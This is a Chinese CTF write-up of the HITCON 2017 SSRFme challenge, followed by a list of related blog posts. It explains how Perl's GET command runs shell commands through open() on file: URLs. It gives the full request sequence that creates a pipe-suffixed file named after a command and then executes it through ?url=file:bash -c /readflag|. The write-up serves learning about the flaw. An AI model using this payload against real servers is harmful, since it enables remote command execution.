题目来自 [HITCON 2017]SSRFme

代码的思路很简单,就是会先建一个文件夹sandbox/md5(orange+ip),然后将url的值写到filename文件中

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这行代码开始以为就是GET请求,所以想到了file协议去读文件,但这种做法是错误的

简单记录一下perl脚本GET系统命令执行的学习

简单来看看使用GET如何来执行系统命令。具体为啥原因我也说不上来,大概就是open函数支持file协议

perl里的GET函数底层就是调用了open处理

要执行的命令首先必须要有该文件存在,以命令为文件名的文件存在

ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’

    if ($method ne "HEAD") {open(my $fh,'<', $path) or return new         ##就是这里出了问题HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,"Cannot read file '$path': $!");binmode($fh);$response =  $self->collect($arg, $response, sub {my $content = "";my $bytes = sysread($fh, $content, $size);return \$content if $bytes > 0;return \ "";});close($fh);}$response;
}

暂且删掉这个 <不管他

利用file:bash -c "cmd string"来读文件

?url=/&filename=aaa

之前提到要 open函数 执行命令首先就是必须存在这个文件,那么我们首先就是要创建一个以命令命名的文件,然后再去执行

创建 bash -c /readflag| 命名的文件?url=&filename=bash -c /readflag|利用GET执行 bash -c /readflag| 并且写到 文件aaa中?url=file:bash -c /readflag|&filename=aaa最后访问 sandbox/md5(orange+ip)/aaa 就可以了

然后就是 | ,这个应该是个分界符的意思,因为他放在前面也是可以的,比如| /readflag

也不是很清楚,就简单记录一下,详细的可以看看这个大佬写的

-------------------perl脚本GET执行系统命令---------------------

perl脚本GET系统命令执行相关推荐

  1. Perl脚本执行方法小结

    Perl脚本执行: ./filename.pl 要这样用,脚本需添加声明行,Linux下一般是添加:#!/usr/bin/perl -w perl filename.pl Perl 脚本普遍适用,包括 ...

  2. Linux中perl脚本监控

    根据公司需求 自己编写的perl脚本 希望可以帮到大家 #!/usr/bin/perl while(1){ open (LOG,">> /var/log/flow.log&quo ...

  3. linux perl 单例模式,Perl脚本学习经验(三)--Perl中ftp的使用

    使用use Net::FTP; Demo: my $Server = '192.168.1.1'; my $User = 'admin'; my $Password = 'admin'; my $ft ...

  4. linux脚本中如何调用函数,在Linux中如何在Perl脚本中调用函数(在shell脚本中定义)...

    我有两个脚本,即 shell_script.sh和perl_script.pl. shell_script.sh:它有函数定义,当从Perl脚本调用时,它将以批处理模式在Linux上执行某些命令. p ...

  5. 20.1 shell脚本介绍 20.2 shell脚本结构和执行 20.3 date命令用法 20.4 shell脚本中的变量...

    2019独角兽企业重金招聘Python工程师标准>>> 20.1 shell脚本介绍 shell 是一种脚本语言:和传统的开发语言比较,会比较简单 shell有自己的语法:可以使用逻 ...

  6. perl脚本语言学习

    来公司的第二个星期便看了一下perl语言,发现掌握一门脚本语言还是非常有用的.到现在为止已经入职两个月,用perl脚本做了这些活: 1. 修改了公司的一个爬取网页源代码的脚本 2. 改进了一个出特征库 ...

  7. 为什么.bat脚本不断重复执行同一命令

    为什么.bat脚本不断重复执行同一命令 如果自己写的.bat脚本文件的名称与系统已有的cmd命令重复,会导致该命令在屏幕不断重复显示,得不到脚本想要的结果. 解决方法: 修改.bat脚本文件名称,保证 ...

  8. 实战Perl脚本测试

    实战Perl脚本测试(转) 这是一篇关于perl脚本测试的总结性文章,其中提到了很多实用的模块,如果文中介绍的不够详细,请到cpan上搜索该模块并查阅其文档.  1基本语法检查 Perl语言的哲学是& ...

  9. 使用perl脚本语言处理文本文件

    前段时间,因为工作需要,使用perl脚本对一个txt文件做了一些处理. 需要处理的txt文件inputfile.txt结构是: #col1 col2 col3 col4 col5 1_1   1_2  ...

  10. 命令执行漏洞之远程命令执行和系统命令执行

    渗透学习 命令执行漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.命令执行漏洞概述 二.实验步骤 1.管道符号 2.远 ...

最新文章

  1. GPIO做输出还能作外部中断输入吗?
  2. MongoDB服务启动与停止命令(Windows环境)
  3. 锐驰机器人的市场_【年终盘点】2020年,锐驰的王炸新品!
  4. Java 并发编程之自定义线程池 ThreadPoolExecutor
  5. 2012 金华现场赛 A题
  6. 「 C++ MFC 」“设置线程运行多媒体定时器”教程
  7. 软件找不到msvcp140.dll无法继续执行怎么办
  8. android cs bs 架构,BS架构与CS架构的区别
  9. [交流] 新手常见(五国)(-v图)错误解决(原版,破解kernel,补丁kext下载)
  10. 三星内存编码_三星内存铭牌的详细说明|三星记忆棒标签存储参数的详细说明...
  11. 【源码分享】一键打开禅意生活——电子木鱼微信小程序源码分享
  12. mongodb可视化工具 mac版 Studio 3T破解
  13. 量子力学 or 线性代数?(五:波函数与薛定谔方程)
  14. unicode exp学习
  15. 百知教育-第二章学习笔记
  16. NLP(CAS10年NLP课程note)
  17. WINDOWS下实现GTK+/GTKMM的编程
  18. Chrome启动参数常用参数
  19. Android使用ShareSDK集成第三方登录和分享(v3.1.2)
  20. php代码审计【24】齐博CMS xss 漏洞漏洞

热门文章

  1. weblogic下载、安装、配置
  2. 人工智能基础(高中版)教材补充和资源分享之一 无限光明的未来、过去和现在
  3. C#基础与VB基础比较
  4. java删除文件夹及其内部文件
  5. 下docfetcher先下Java,DocFetcher ── 以 JAVA 编写的开源桌面本地文件全文搜索工具...
  6. php官网软件下载,php下载_php官方下载_3DM软件
  7. 王牌英雄怎么服务器维护了,王牌英雄steam版无法运行问题解决方法_3DM单机
  8. 好看的PPT导航栏有哪些制作技巧
  9. HFSS - GSM 900 单频PIFA天线的设计与仿真
  10. 百度地图 城市中心点坐标